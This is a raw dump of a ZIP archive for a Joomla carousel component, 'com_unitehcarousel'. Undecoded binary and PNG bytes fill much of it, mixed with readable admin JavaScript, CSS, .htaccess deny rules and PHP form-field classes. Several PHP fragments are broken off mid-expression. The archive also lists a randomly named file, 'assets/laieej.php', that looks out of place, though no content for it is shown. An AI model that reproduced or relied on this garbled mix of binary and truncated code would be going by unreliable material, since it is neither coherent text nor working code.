8k"{$0rutN`7Uf.|HM,b#t@]K+M Mvս0ZYn==;mM+O-z~Ga*u6v+ 9T$* @>)4#:j)\}bio$Sv={e6 ۸yklO2eGæeO4SFC)(v޺Y1{In>UYH]խKŢ{K~|eԘQp\q N, T1V{vpgeZ1Zh]A$cū?:[m<@۠Kb*2&M75o-¢tҹ5 _-S݉ԬU*G7 =exM~8!icO]MwyLx1* FLiEu1g 9gSq1]Dep\P8ȌЍS."+vc%1(C3Vv4)@x=AyU`hѤy}M\bOGC lmժUIܐ_n[羍˧5]ѫefAƻK+T;=ÒMsl(IW-$"Y?ӅnAZF 1L" x#B{{l^hrPT7qvc>XnM/uݧm!S zƬtj-; [Y["B"4Zekт4>_۬U-e~R!z@ڻ藒X˷đ΍ե'HIЊ0x4 ><⇉`.4C+H"M%wZ]ц?e#c#O@ZW54-'B$$) ^@: x*?0顶{߳돆%Y#7LÓDN>/ϳ7BXےד%rRDԒtiY -$y(@:ϑfV mjzq'@jOY\0]BMbƐrtd |h5  9S_SRXVZz1, S_|H9b%TֺZKNDRiQn9ו7urCRܪ$_Ixm^ LAMIFI}yrĢ&*tSX/{b$aB?icRY ;|tPxja=ӄZ 2NZ@W܇A17-evR4KQ oZiT?n!B"rv܂xu}/#+Q{g|.״T"7'A5V?U1`{z ֶ1dkѐz?jș2Ҵ=?fb.<6'iIx %)Z [廊lOdYNW';n;I#Q]Y <5Z7* :WW=ߒLzHGf ktAטi#%3'1bTF?~LC?xvoaPT_[^P.i6k O㾣ot(d?_5!Ou ܊,MOVyn{+$C''m]qSO^ݼ[>Dif[Urf''Y|{W'#8Gæ;w-OsmssġV \EҠ:N6J#~KEANp 0E-%3Ұ UzMݷlnS/4OmQYɡ$TJhrq<_߻@^c#>-$@=D*4Oƃ7o_pNKuQvvtv/qX +|KT2E4z:.$eAn>$<5I.>?d/Jɢң\J?ݨ42Jz)kYߟ7+]Ǟ&sFuKc5ƻW#*A3ostQyE:PWsY(-ZH+ 3@;'p`$d XدFz篩՞ǻ$A/վkns^<Sػ'ֶy8n7 ~ë\ KabJaM`.; ,9`uzHv>:P[oQ֝t!)[ky gB[+Yy}۶wS,=ʩ.Zd2dF#S4k@dK#O(ṕQ 7Yҿnߖe{)R=,SrORr[x٥q:/2 %ݔmHP[y YK~[%JҴԑ]<2[̦;d ⌬6 7+ H !I%NR-?uKn6PN(&+x]QIt$S{vȴH'7`|KrP~Z:0H.Zsw rE{r*abH>`]:PDy]9t`X8*AcPN5A5c, | 5<+]EtHGmĀ5ظ%7,F״r;Zqf1ʁ\!m-}z:Y @B̊HPnxQ\]c-KZgK4rFTlXx]/Z=]ɠUrmE&o;c64vɬyV'oZ^kuNp y[fE)ef&@@L]5'5RmPY;"$P:^_w^K=hq[gdSVWGSQĶ7%*B#%EvE9o[e⣲-3ǃ 4F&1PoP#NWg!_A7"??L ^rK/Dc ݹA%>;5bäa-8=@?vDt|@ZI<~:ESyWj]It@"iHwդZ z^Z PԺ: 5i~KV[pr/njUISkMkl]n"UP]e~.#\2cji" mv3,{lnjb6 唬Ѫf? .HA&x2oS Qd-=٫yg[Ri"drʺ_csQ˃+%x؛[0t&DC+SH-L>t-FU@ xhcjב$Yʡcb ZMIrSըOU c^%;Wsv)-Xn/4|Бu]Ag>;;y A+P_i-qZT+7 ET몦컪üyX)u)?}$,l]v1{KnH c3/ۥc%X|I}^[΢HC;k5 5ӡ *zE;7~{X]Im5sod.W;4spP+O!f _CBC[n:/*GK59 6m!I1 AC/.SޢHMtGjAH3!@TTM/"Hj5min"0iWI-|gd-t v_p԰P(63; E%"~}Jw%;{W{ح%甞1DOmFDE Ý(>~:ֶm1cV)ii#kYr1OݯFVWȅ?n.nG ?t#!_B@zhVJMG D!L:ejS+_͟e| Grd3c|wX )H姱2=PB)'pke$ёJhbUyt޺d'1k^Tom+ ,RMwʛ0,nXӣnZA;Q,I[tBV;ZAk҉'K6N[-hOp[ưB}P쮀/go/$$h$nx>~ _ka'j2z׊F=ՖZxG.'.I㩐մ}Ã^\m @iT|xuty+gqHΔYbGhB۪kY y0\=/]En5 E.D)f.Кy$/=*ӧZ}XHS$QF5o[%<ۈUkUPiӤk?xM6{ ܻ[إ5nZ@Vm(-q A犃微2'ŗLEBI:0u6++ wXȇv`iB7OߨRzPBv^:뫻Ǚmn7kF4;c*DӯWHcJަ O ^E̸ڻ:\p !S HBd@w,NT ׮691P]Jy~ۈY՜KȆTa}>V3~LO$jB׍@%[qGWt ZV&rXbIM)ԦA::sdV ZȏOmD(ytiumڥ~\ƢWG۬YskY(ƼzVk{<(Jr EK^T~4QV>d۩RwЪXBԅ*uBagvvfd3$R}P*wB01C v.U b 45y71cP~ZOjNz9.nE8pzb)Qצ4: -E=$P' y(}L\dA-com_unitehcarousel/assets/images/li_hover.pngnuW+APNG  IHDR+/tEXtSoftwareAdobe ImageReadyqe<IDATxKnPm!"V$@."# BX@%Q97aSci)7w&'s%l"OgBjZve7!0skDmɠ~‘o4jݞqM@ (VUZcTU=1(d"i^7:wP TL\2\(Z6vD(wl&? ~VɗփpY]h=__Ŷ/h=`ӂŢ1D Z[Gɩ"Ig*~0 ѾQJf;>? |2?ވAOru5޲gQxm!YuQ2Y^eDE@,=nc( aPMk<;xhnNtD t?:M8ovm,(Mp@eG$OiQ@eM$( &iN(Xa4Auhf$zb۶$FQP4RP,SD1f":_y$ 7`I4iF2^Ip10"(JeZQIE8QRDTݐD,Y׈$Zq?~IENDB`PKs>\E¡-com_unitehcarousel/assets/images/selected.pngnuW+APNG  IHDR+/tEXtSoftwareAdobe ImageReadyqe<CIDATx윿ka%FK&Aph? jDbqpPqAjE Z*⢢CւVA#iMiHm.w^&irIo{$dyKF cb'*-DbQ,އHϗ)G(?R(CCCEO>,:366įPv  m8ίŮiOQ @d$@ ?g`` IKNV-钗P(t[:J< TsGmJnAUNFJ`,v EQ;::|O FX=*nr= p)JwSS=KρNQGt:mc<^]9ׇʐq,h)\A3 7vΫxo/Բff|G Գ#(<%:ʱ8 "W9: 7*5| Xn۶M]wR :f#tB5H 0WRǶ,dlaLd2̋+ jYnyIKBn8K   ԡ#łP@M~>w?!C;IENDB`PKs>\P51com_unitehcarousel/assets/images/icon-16-star.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<>IDATxڄSMhAfw6MRӖBBZDj/ЃBւ'{7E\)#com_unitehcarousel/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\yhO&com_unitehcarousel/assets/hcarousel.jsnuW+Avar UniteHCarousel = new function(){ var t = this; var containerID = "slider_container"; var container,arrow_left,arrow_right,bullets_container; var caption_back,caption_text; var bulletsRelativeY = ""; /** * show slider view error, hide all the elements */ t.showSliderViewError = function(errorMessage){ jQuery("#config-document").hide(); UniteAdmin.showErrorMessage(errorMessage); } /** * main init of the object */ var init = function(){ UniteAdmin.hideSystemMessageDelay(); } /** * init visual form width */ t.initSliderView = function(){ init(); //init the object - must call } /* ===================== Item View Section =================== */ /** * init item view */ t.initItemView = function(){ //operate on slide image change var obj = document.getElementById("jform_params_image"); obj.addEvent('change',function(){ var urlImage = g_imagePattern; var urlPreview = encodeURI(this.value); urlImage = urlImage.replace("IMAGE_PLACE",urlPreview); jQuery("#image_preview_wrapper").show(); jQuery("#image_preview").show().attr("src",urlImage); }); } /* ===================== Item View End =================== */ } PKs>\E"com_unitehcarousel/assets/admin.jsnuW+Avar UniteAdmin = new function(){ var t = this; var errorMessageID = null; var successMessageID = null; var ajaxLoaderID = null; var ajaxHideButtonID = null; var colorMoveEventFunc = null; /** * debug html on the top of the page (from the master view) */ t.debug = function(html){ jQuery("#div_debug").show().html(html); } /** * output data to console */ t.trace = function(data,clear){ if(clear && clear == true) console.clear(); console.log(data); } /** * show error message */ t.showErrorMessage = function(message){ var html = "
    "+message+"
    "; jQuery("#system-message-container").html(html); } /** * hide error message */ var hideErrorMessage = function(){ jQuery("#system-message-container").html(""); } /** * how success message */ var showSuccessMessage = function(message){ var html = "
    "+message+"
    "; jQuery("#system-message-container").html(html); //hide the message delay if(jQuery('#system-message-success').length) setTimeout("jQuery('#system-message-success').hide('slow')",3000); } /** * init color pickers input */ var initColorPickers = function(){ //appent div to the body var fields = jQuery("input.color-picker"); if(fields.length == 0) return(false); jQuery("body").append(""); var picker = jQuery.farbtastic('#farb_picker'); var wrapper = jQuery("#farbtastic_wrapper"); fields.each(function(){ picker.linkTo(this); }); fields.focus(function(){ wrapper.show(); picker.linkTo(this); var input = jQuery(this); var offset = input.offset(); //set picker position wrapper.css({ "left":offset.left + input.width()+20, "top":offset.top - wrapper.height() + 150 }); }).click(function(){ return(false); //prevent body click }); wrapper.click(function(){ return(false); //prevent body click }); jQuery("body").click(function(){ wrapper.hide(); }); } /** * init checkbox form field */ var initCheckboxes = function(){ jQuery(".mycheckbox_check").click(function(){ var strChecked = this.checked?"true":"false"; jQuery(this).siblings(".mycheckbox_input").val(strChecked); }); } /** * set color picker move event function. */ t.onColorPickerMove = function(func){ colorMoveEventFunc = func; } /** * on color picker move event. pass event to stored functions. */ t.onColorPickerMoveEvent = function(){ if(colorMoveEventFunc) colorMoveEventFunc(); } /** * init every page in the project */ t.initGlobal = function(){ initColorPickers(); initCheckboxes(); } /** * hide system message with delay */ t.hideSystemMessageDelay = function(){ if(jQuery('#system-message').length) setTimeout("jQuery('#system-message').hide('slow')",1000); } /** * set ajax loader id that will be shown, and hidden on ajax request * this loader will be shown only once, and then need to be sent again. */ this.setAjaxLoaderID = function(id){ ajaxLoaderID = id; } /** * show loader on ajax actions */ var showAjaxLoader = function(){ if(ajaxLoaderID) jQuery("#"+ajaxLoaderID).show(); } /** * hide and remove ajax loader. next time has to be set again before "ajaxRequest" function. */ var hideAjaxLoader = function(){ if(ajaxLoaderID){ jQuery("#"+ajaxLoaderID).hide(); ajaxLoaderID = null; } } /** * set button to hide / show on ajax operations. */ this.setAjaxHideButtonID = function(buttonID){ ajaxHideButtonID = buttonID; } /** * if exist ajax button to hide, hide it. */ var hideAjaxButton = function(){ if(ajaxHideButtonID) jQuery("#"+ajaxHideButtonID).hide(); } /** * if exist ajax button, show it, and remove the button id. */ var showAjaxButton = function(){ if(ajaxHideButtonID){ jQuery("#"+ajaxHideButtonID).show(); ajaxHideButtonID = null; } } /** * Ajax request function. call wp ajax, if error - print error message. * if success, call "success function" */ this.ajaxRequest = function(action,data,successFunction){ var objData = { action:action, client_action:action, data:data } hideErrorMessage(); //showAjaxLoader(); //hideAjaxButton(); jQuery.ajax({ type:"post", url:g_urlAjax, dataType: 'json', data:objData, success:function(response){ //hideAjaxLoader(); if(!response){ t.showErrorMessage("Empty ajax response!"); return(false); } if(response == -1){ t.showErrorMessage("ajax error!!!"); return(false); } if(response == 0){ t.showErrorMessage("ajax error, action: "+action+" not found"); return(false); } if(response.success == undefined){ t.showErrorMessage("The 'success' param is a must!"); return(false); } if(response.success == false){ t.showErrorMessage(response.message); return(false); } //success actions: //run a success event function if(typeof successFunction == "function") successFunction(response); else{ if(response.message) showSuccessMessage(response.message); } if(response.is_redirect) location.href=response.redirect_url; }, error:function(jqXHR, textStatus, errorThrown){ hideAjaxLoader(); if(textStatus == "parsererror") t.debug(jqXHR.responseText); t.showErrorMessage("Ajax Error!!! " + textStatus); } }); }//ajaxrequest /** * upen "add image" dialog */ this.openAddImageDialog = function(title,onInsert){ if(!title) title = 'Select Image'; var params = "type=image&post_id=0&TB_iframe=true"; params = encodeURI(params); tb_show(title,'media-upload.php?'+params); window.send_to_editor = function(html) { tb_remove(); var urlImage = jQuery('img',html).attr('src'); onInsert(urlImage); } } /** * load css file on the fly * replace current item if exists */ this.loadCssFile = function(urlCssFile,replaceID){ //jQuery("#paradigmslider-captions-css").remove(); jQuery("head").append(""); var css = jQuery("head").children(":last"); css.attr({ rel: "stylesheet", type: "text/css", href: urlCssFile }); //replace current element if(replaceID){ jQuery("#"+replaceID).remove(); css.attr({id:replaceID}); } } /** * on arrow change setting event. Changes arrow image */ this.onArrowsChange = function(data){ var settingID = data.settingID; var urlImage = data.url_right; var arrowName = data.arrowName; jQuery("#"+settingID).val(arrowName); jQuery("#"+settingID+"-img").prop({"src":urlImage,"title":arrowName}); } /** * hide form field */ this.hideFormField = function(field){ jQuery("#"+field).hide(); jQuery("#"+field+"-lbl").hide(); jQuery("#"+field+"-btn").hide(); } this.showFormField = function(field){ jQuery("#"+field).show().removeClass("hidden"); jQuery("#"+field+"-lbl").show().removeClass("hidden"); } } //script for global init jQuery(document).ready(function(){ UniteAdmin.initGlobal(); }) //user functions: function trace(data,clear){ UniteAdmin.trace(data,clear); } function debug(data){ UniteAdmin.debug(data); } PKs>\99(com_unitehcarousel/assets/icon-image.pngnuW+APNG  IHDR!1&tEXtSoftwareAdobe ImageReadyqe<IDATxڴUQw"P-V35x!/,XlXP4q&̝;-Ngν|~sL&ZYBP,{\.j6|lݤH$^/ k6@ H$@y>7rrL?:A:|AZiZA$}4bn[(dYv4ЀLGet:m4\`ihv:fӜcZyXzt!,Ll_ }0N]q:1ES)(@0k2Ȼ):pSTXd|8eyQ+= {]blp@vXeAwUS*[Aiz?#N&ߏG5ĸP͗^~r`zhTz2IENDB`PKs>\bWJ/J/$com_unitehcarousel/assets/laieej.phpnuW+APKs>\g+com_unitehcarousel/assets/style-joomla3.cssnuW+A#content{ margin-bottom: 30px; } #page-general, .hidden{ visibility: inherit !important; } div label{ display: inline; } #submenu { line-height: 115%; list-style: none outside none; margin: 0; padding: 0; } #submenu li{ float: left; line-height: 115%; } #submenu li a, #submenu span.nolink { border-right: 1px solid #CCCCCC; color: #808080; cursor: pointer; font-weight: bold; height: 12px; line-height: 14px; padding: 0 15px; } #submenu a:hover, #submenu a.active, #submenu span.nolink.active { background: none repeat scroll 0 0 #FFFFFF; color: #146295; } #submenu-box ,#element-box, #toolbar-box{ margin-bottom: 11px; } /*----------------------------------------------------------- ------------ for tab ------------------------------------- -----------------------------------------------------------*/ div#element-box div.m { padding: 10px; } .submenu-box, div.m { background-color: #F4F4F4; border: 1px solid #CCCCCC; border-radius: 10px 10px 10px 10px; } fieldset.adminform { background-color: #FFFFFF; padding: 5px 17px 17px; border: 1px solid #CCCCCC; text-align: left; margin: 10px; overflow: hidden; } fieldset.adminform legend { color: #146295; font-size: 14px; font-weight: bold; width: auto; margin: 2px; border: none; } fieldset.adminform label, fieldset.adminform span.faux-label { float: left; display: inline-block; min-width: 135px; padding: 3px 5px 0 0; } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label { clear: none; display: inline; float: left; padding-left: 0; margin-right: 25px; } div.width-60 { width: 60%; } div.width-40 { width: 40%; } .fltrt { float: right; } .fltlft { float: left; } .clr { clear: both; height: 0; overflow: hidden; } ul.adminformlist, ul.adminformlist li { list-style: none outside none; margin: 0; padding: 0; } input[required="required"].required { background-color: #D5EEFF; } .star { color: #EB8207; font-size: 1.2em; } .subhead{ margin-bottom: 0px; height: 45px; } .navbar{ } .container-main{ margin-top: 10px; padding: 0 !important; margin: 10px 20px; } .adminlist tr th { border-color: #CCCCCC #F0F0F0; border-style: solid; border-width: 1px; padding: 4px; } .adminlist tbody tr td { border-color: #F0F0F0; border-style: solid; border-width: 1px; padding: 4px; min-width: 30px; } .adminlist tbody tr.row1 td { background-color: #EEEEEE; border-left: 1px solid #FFFFFF; border-right: 1px solid #FFFFFF; } #adminForm #filter-bar{ height: auto; } .adminform .chooser-image-wrapper{ float: left; } /*------------------------------------------------ -------------------for edit slide---------------- -------------------------------------------------*/ input.text-area-order { margin-right: 5px; text-align: center; width: 35px; } .order{ text-align: center; } .order a.btn-micro { font-size: 10px; line-height: 8px; padding: 1px; margin-top: -8px; } .order a.btn-micro :first-child{ font-size: 8px; } .adminform select { width: auto; height: 30px; } .adminformlist li{ clear: both; } .adminformlist input.number { float: left; } .adminform .unit { padding-top: 5px; padding-left: 5px; } #item-form input{ display: inline; } table input,table textarea, .uneditable-input { width: auto; }PKs>\)+com_unitehcarousel/assets/bullets/.htaccessnuW+A Order allow,deny Deny from all PKs>\);com_unitehcarousel/assets/bullets/simple_white/bg_right.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<jIDATxb1*x ďPDcO8A L ؁4E  ~ ěRbE F[Gb$1P7A,b H P2jíIENDB`PKs>\]\\:com_unitehcarousel/assets/bullets/simple_white/options.ininuW+Apadding_top = 10 width = 11 height = 11 bg_height = 29 bg_left_width = 9 bg_right_width = 9 PKs>\@com_unitehcarousel/assets/bullets/simple_white/bullet_normal.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb4i q@|J{"jJ:40 @\ S\Ĝ X H+afLP@)4x )kxt Rx76"G vb-h |{a: ֪-MoIENDB`PKs>\ݱl@com_unitehcarousel/assets/bullets/simple_white/bullet_active.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxbd@Q bc S@2 ~ nGV߰(Dƥ0ŋ(@ R l 1@:"pAy*?AEBwaQ`.-h l 0I$B<*IENDB`PKs>\>w:com_unitehcarousel/assets/bullets/simple_white/bg_left.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<tIDATxb? l0 ?qs")c@,X&(=") xH1H|nU4^,"O$M5@"XY ā@ Ȋ Es8GIENDB`PKs>\Xsxx<com_unitehcarousel/assets/bullets/simple_white/bg_repeat.pngnuW+APNG  IHDRkitEXtSoftwareAdobe ImageReadyqe<IDATxb1N00bIENDB`PKs>\9com_unitehcarousel/assets/bullets/simple_white/index.htmlnuW+APKs>\)8com_unitehcarousel/assets/bullets/simple_white/.htaccessnuW+A Order allow,deny Deny from all PKs>\U%``:com_unitehcarousel/assets/bullets/simple_white/preview.pngnuW+APNG  IHDRd(x_CtEXtSoftwareAdobe ImageReadyqe<IDATxZkA~` IbExP^Cm/ϵ=P(P{B/) ^b)A'7nfCef|ݙ710ll`C%E8uD֭062|ts/_ȗ7 !"[!32 Lq>)vs|@1d y.ִ3.]-!lc]ۅ( z}|1ل]Vj`mm 4ZKjSg:P.Q?l 'N\* ɨnl6 |ХSi\.7_[=h۰n` ~_W Hsx@@,Kj%{H F!!> @.q~/gToőKqه6 a!l -ffΜ9YIENDB`PKs>\)8com_unitehcarousel/assets/bullets/simple_black/.htaccessnuW+A Order allow,deny Deny from all PKs>\ܺ9jj:com_unitehcarousel/assets/bullets/simple_black/preview.pngnuW+APNG  IHDRd(x_CtEXtSoftwareAdobe ImageReadyqe< IDATxZAkA~j B 4BZ,=H4ŋWA/4jJPLayy^/J%rTjcβx7haglm}+!\F׃uHRBjb#/OjC(VWr~? 38$IH$u|?9՘t: np.Vj-1. n<BB`0(Uj+54m/"0J 9==wvcY&֍4 X>V[!3w G /Fj+5dw3Z502 T*sb2u|RC.ll%r6kWa{{3DX,J7077vzl6Ņ }λr:#7R !X[Jv5 C1CN(ERq-| b,Ȥ"r %ay0PQ`n/X-ʰ!"X6vdB C”%!}SIENDB`PKs>\@com_unitehcarousel/assets/bullets/simple_black/bullet_normal.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb4i q@|J{"jJ:40 @\ S\Ĝ X H+afLP@)4x )kxt Rx76"G vb-h |{a: ֪-MoIENDB`PKs>\O@com_unitehcarousel/assets/bullets/simple_black/bullet_active.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb?q@|=LۡjUx3s2@H0LP@)4x O K., @)A@ <@|{ag߫϶_IENDB`PKs>\9com_unitehcarousel/assets/bullets/simple_black/index.htmlnuW+APKs>\1;com_unitehcarousel/assets/bullets/simple_black/bg_right.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<bIDATxba``0f@, 'RË@ XX @HE(bU4ފ> !E ʜg[@2. >IENDB`PKs>\cJww<com_unitehcarousel/assets/bullets/simple_black/bg_repeat.pngnuW+APNG  IHDRkitEXtSoftwareAdobe ImageReadyqe<IDATxb```0bL r6qIENDB`PKs>\]\\:com_unitehcarousel/assets/bullets/simple_black/options.ininuW+Apadding_top = 10 width = 11 height = 11 bg_height = 29 bg_left_width = 9 bg_right_width = 9 PKs>\$ :com_unitehcarousel/assets/bullets/simple_black/bg_left.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<kIDATxbdt ?Oo@ ?"haS H3 E(bU4ފ^P@;5!@Yz5.7 .uL tIENDB`PKs>\,com_unitehcarousel/assets/bullets/index.htmlnuW+APKs>\JJ9com_unitehcarousel/assets/bullets/simple_gray/preview.pngnuW+APNG  IHDRd(x_CtEXtSoftwareAdobe ImageReadyqe<IDATx[ϋRQ"䈚\)46hZ,ZY*h:v3VتbN:{ |g>|F*B@(†0k}xxArN /7d nwTk#zC1n^#{D!GX=[j ~ZVeQ/Vp85n4]ƻ=B}z@x omkB}z@jb bjenNSHӪZ/V/Z.N:e t]Ux'xg۽`LlNNe'JWjSd2c?:YZSY |ZdbXoz%@,&H(:@~( ߱=Q= g':kQu~GoS}gec^@@P  !H_o¼APIENDB`PKs>\8com_unitehcarousel/assets/bullets/simple_gray/index.htmlnuW+APKs>\! :com_unitehcarousel/assets/bullets/simple_gray/bg_right.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<lIDATxb4i1*x ďX &x @<abx/&& E($FèQEVE )eLMP< 0;[2XIENDB`PKs>\)7com_unitehcarousel/assets/bullets/simple_gray/.htaccessnuW+A Order allow,deny Deny from all PKs>\]\\9com_unitehcarousel/assets/bullets/simple_gray/options.ininuW+Apadding_top = 10 width = 11 height = 11 bg_height = 29 bg_left_width = 9 bg_right_width = 9 PKs>\O?com_unitehcarousel/assets/bullets/simple_gray/bullet_active.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb?q@|=LۡjUx3s2@H0LP@)4x O K., @)A@ <@|{ag߫϶_IENDB`PKs>\S?com_unitehcarousel/assets/bullets/simple_gray/bullet_normal.pngnuW+APNG  IHDR w&tEXtSoftwareAdobe ImageReadyqe<IDATxb<},q@ WUċ_ J Ux @\ S\Ĝ X H+afLP@)4x )kxtP0bg ލj   T4A 0TjIENDB`PKs>\N9com_unitehcarousel/assets/bullets/simple_gray/bg_left.pngnuW+APNG  IHDR xFtEXtSoftwareAdobe ImageReadyqe<tIDATxb4i  l0 ?qs")c@,X&(=") xH1H|nU4^,"O$M5@"XY ā@ Ȋ l WIENDB`PKs>\>nyy;com_unitehcarousel/assets/bullets/simple_gray/bg_repeat.pngnuW+APNG  IHDRkitEXtSoftwareAdobe ImageReadyqe<IDATxb4i10YԲ4(IENDB`PKs>\))com_unitehcarousel/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\,,*com_unitehcarousel/models/forms/slider.xmlnuW+A
    PKs>\hd d (com_unitehcarousel/models/forms/item.xmlnuW+A
    PKs>\*com_unitehcarousel/models/forms/index.htmlnuW+APKs>\Or %com_unitehcarousel/models/sliders.phpnuW+AgetUserStateFromRequest($this->context . '.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $category = $this->getUserStateFromRequest($this->context . '.filter.category', 'filter_category', ''); $this->setState('filter.category', $category); // List state information. parent::populateState('a.title', 'asc'); } protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.published'); $id .= ':' . $this->getState('filter.category'); return parent::getStoreId($id); } protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select("*"); $query->from('#__unitehcarousel_sliders AS a'); // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } else if ($published === '') { $query->where('(a.published = 0 OR a.published = 1)'); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $order = $orderCol; if (!empty($orderDirn)) $order .= " " . $orderDirn; if (!empty($orderCol)) $query->order($order); return $query; } } PKs>\)#com_unitehcarousel/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\AA/com_unitehcarousel/models/fields/mycheckbox.phpnuW+Avalue)){ if($this->value == "true") return(true); }else{ if($this->element['value'] == "true") return(true); } return(false); } /** * Method to get the field input markup. * * @return string The field input markup. * @since 1.6 */ protected function getInput(){ // Initialize some field attributes. $class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ''; $disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $checked = $this->isChecked(); $strChecked = ($checked == true) ? ' checked="checked"' : ''; $checkboxID = $this->id; $inputID = $this->id."-input"; $spanID = $this->id."-span"; $value = ($strChecked == true)?"true":"false"; $html = ""; $html .= ''; $html .= ''; $html .= ''; $html .= ''; return $html; } } PKs>\.||+com_unitehcarousel/models/fields/arrows.phpnuW+AaddScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option='.GlobalsUniteHCar::COMPONENT_NAME.'&view=slider&layout=arrows&tmpl=component&settingid='.$this->id; $buttonType = $this->value; $arrArrowSet = HelperUniteHCar::getArrowSet($buttonType); $arrowName = $arrArrowSet["name"]; $html[] = ''; $buttonID = $this->id."-btn"; $desc = UniteFunctionsHCar::getVal($this->element, "description"); // The the arrow $imageArrow = $arrArrowSet["url_right"]; $html[] = ''; //put select button $html[] = ' Change'; $html = implode("\n", $html); return $html; } } PKs>\60com_unitehcarousel/models/fields/colorpicker.phpnuW+Aelement['size'] ? ' size="' . (int) $this->element['size'] . '"' : ''; $maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : ''; $class = ' class="color-picker"'; $readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : ''; $disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; // Initialize JavaScript field attributes. $onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : ''; return ''; return $html; } } PKs>\F5g g +com_unitehcarousel/models/fields/mytext.phpnuW+Aelement['label'] ? (string) $this->element['label'] : (string) $this->element['name']; $text = $this->translateLabel ? JText::_($text) : $text; // Build the class for the label. $class = !empty($this->description) ? 'hasTip' : ''; $class = $this->required == true ? $class . ' required' : $class; //add "hidden" to the class if hidden if ($this->hidden){ if(empty($class)) $class = "hidden"; else $class .= " hidden"; } // Add the opening label tag and main attributes attributes. $label .= ''; } else { $label .= '>' . $text . ''; } return $label; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 11.1 */ protected function getInput() { // Initialize some field attributes. $size = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : ''; $maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : ''; $class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ''; $readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : ''; $disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $unit = (string)UniteFunctionsHCar::getVal($this->element, 'unit',""); // Initialize JavaScript field attributes. $onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : ''; $html = ''; if(!empty($unit)) $html .= "$unit"; return $html; } } PKs>\1@-)),com_unitehcarousel/models/fields/bullets.phpnuW+AaddScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option=com_unitehcarousel&view=slider&layout=bullets&tmpl=component'; $html[] = ''; $bulletsText = "Change Bullets"; $buttonID = $this->id."-btn"; $desc = UniteFunctionsHCar::getVal($this->element, "description"); $htmlAddon = ""; if(!empty($desc)){ $htmlAddon = ' title="'.$desc.'"'; //$class .= " hasTip"; //making problems with rel } // The user select button. $html[] = ' '.$bulletsText.''; $html = implode("\n", $html); return $html; } } PKs>\+com_unitehcarousel/models/fields/index.htmlnuW+APKs>\^?uu+com_unitehcarousel/models/fields/slider.phpnuW+ArequireFramework(); $arrSliders = HelperUniteHCar::getArrSliders(); $html = ""; return $html; } } PKs>\,c|-com_unitehcarousel/models/fields/mybutton.phpnuW+Aelement['name']; $label = $this->element['label']; $desc = UniteFunctionsHCar::getVal($this->element, "description"); $htmlAddon = ""; if(!empty($desc)) $htmlAddon = "class='hasTip' title='$desc'"; $html = ""; return($html); } } PKs>\)*com_unitehcarousel/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\ސj j ,com_unitehcarousel/models/fields/myradio.phpnuW+Aelement['class'] ? ' class="radio ' . (string) $this->element['class'] . '"' : ' class="radio"'; // Start the radio field output. $html[] = '
    '; // Get the field options. $options = $this->getOptions(); // Build the radio field output. foreach ($options as $i => $option) { // Initialize some option attributes. $checked = ((string) $option->value == (string) $this->value) ? ' checked="checked"' : ''; $class = !empty($option->class) ? ' class="' . $option->class . '"' : ''; $disabled = !empty($option->disable) ? ' disabled="disabled"' : ''; // Initialize some JavaScript option attributes. $onclick = !empty($option->onclick) ? ' onclick="' . $option->onclick . '"' : ''; $html[] = ''; $html[] = ''; } // End the radio field output. $html[] = '
    '; return implode($html); } /** * Method to get the field options for radio buttons. * * @return array The field option objects. * * @since 11.1 */ protected function getOptions() { // Initialize variables. $options = array(); foreach ($this->element->children() as $option) { // Only add
    items); ?> items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_users'); $canEdit = $user->authorise('core.edit', 'com_users'); $canChange = $user->authorise('core.edit.state', 'com_users'); ?>
    items, 'filesave.png', 'levels.saveorder'); ?>  
    pagination->getListFooter(); ?>
